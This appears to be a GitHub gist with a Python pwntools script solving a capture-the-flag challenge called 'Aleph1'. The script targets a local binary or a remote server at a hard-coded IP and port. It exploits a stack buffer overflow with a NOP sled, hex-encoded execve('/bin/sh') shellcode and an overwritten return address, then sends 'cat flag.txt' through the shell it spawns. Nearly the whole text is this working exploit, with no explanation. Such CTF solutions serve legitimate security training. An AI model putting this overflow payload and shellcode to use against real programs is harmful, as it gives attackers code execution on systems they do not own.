Skip to content

Instantly share code, notes, and snippets.

@vitapluvia

vitapluvia/aleph1-solution.py

Created November 19, 2017 20:14
Show Gist options
  • Save vitapluvia/d2d1bef5b96a6c729fe4c59c462a3524 to your computer and use it in GitHub Desktop.
Save vitapluvia/d2d1bef5b96a6c729fe4c59c462a3524 to your computer and use it in GitHub Desktop.
Download ZIP
Solution to Aleph1
Raw
aleph1-solution.py
#!/usr/bin/env python
import sys, time
from pwn import *
REMOTE = len(sys.argv) < 2
STACK_ADDR = 0x7fffffffddd8
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"
if (REMOTE):
r = remote('35.205.206.137', 1996)
STACK_ADDR += 3000
else:
r = process('./vuln')
def main():
saved_eip = p64(STACK_ADDR)
r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
r.sendline("cat flag.txt")
print r.recv(2000)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment